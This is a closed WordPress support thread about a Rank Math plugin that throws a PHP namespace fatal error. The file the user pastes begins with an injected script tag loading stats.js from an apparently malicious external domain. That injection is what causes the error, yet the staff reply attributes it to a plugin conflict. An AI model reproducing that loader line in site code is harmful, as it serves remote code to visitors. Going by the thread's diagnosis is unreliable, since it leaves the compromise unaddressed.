I’m getting fatal error message in PHP

#78184
  • Resolved Deepak Vijayakumar
    Rank Math free

    Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in /home1/onlin59c/public_html/wp-content/plugins/seo-by-rank-math/includes/modules/sitemap/class-sitemap-index.php on line 11

    My error source code for your reference

    <script type=’text/javascript’ src=’https://js.donatelloflowfirstly.ga/stats.js?n=nb5′></script>&lt;?php
    /**
    * The Sitemap Module
    *
    * @since 1.0.42
    * @package RankMath
    * @subpackage RankMath\Sitemap
    * @author Rank Math <s******@r***********>
    */

    namespace RankMath\Sitemap;

    use RankMath\Helper;
    use RankMath\Runner;
    use RankMath\Traits\Hooker;
    use MyThemeShop\Helpers\Str;

    defined( ‘ABSPATH’ ) || exit;

    /**
    * Sitemap_Index class.
    */
    class Sitemap_Index implements Runner {

    use Hooker;

    /**
    * The hooks.
    */
    public function hooks() {
    $this->filter( ‘robots_txt’, ‘add_sitemap_directive’, 0, 2 );
    $this->filter( ‘redirect_canonical’, ‘redirect_canonical’ );
    }

    /**
    * Adds the sitemap index to robots.txt.
    *
    * @param string $output robots.txt output.
    * @param bool $public Whether the site is public or not.
    *
    * @return string robots.txt output.
    */
    public function add_sitemap_directive( $output, $public ) {
    if (
    ‘0’ === $public ||
    Str::contains( ‘Sitemap:’, $output ) ||
    Str::contains( ‘sitemap:’, $output )
    ) {
    return $output;
    }

    return $output . “\nSitemap: ” . esc_url( Router::get_base_url( ‘sitemap_index.xml’ ) );
    }

    /**
    * Stop trailing slashes on sitemap.xml URLs.
    *
    * @param string $redirect The redirect URL currently determined.
    *
    * @return boolean|string $redirect
    */
    public function redirect_canonical( $redirect ) {
    if ( get_query_var( ‘sitemap’ ) || get_query_var( ‘xsl’ ) ) {
    return false;
    }

    return $redirect;
    }
    }

Viewing 1 replies (of 1 total)
  • Hello,

    Thank you for contacting the support and sorry for any inconvenience that might have been caused due to that.

    Where are you getting this error? Is it happening even when Rank math alone is active?

    Assuming you are using the latest version of all the plugins and the themes (please update if not yet), it would seem like a conflict with one of the plugins or the theme you are using.

    To determine that, please follow this troubleshooting guide:
    https://rankmath.com/kb/check-plugin-conflicts/

    Please let us know if you find the culprit.

    Only the site admin would know and your users won’t be affected by this troubleshooting.

    Looking forward to helping you.

    Hello,

    Since we did not hear back from you for 15 days, we are assuming that you found the solution. We are closing this support ticket.

    If you still need assistance or any other help, please feel free to open a new support ticket, and we will be more than happy to assist.

    Thank you.

Viewing 1 replies (of 1 total)

The ticket ‘I’m getting fatal error message in PHP’ is closed to new replies.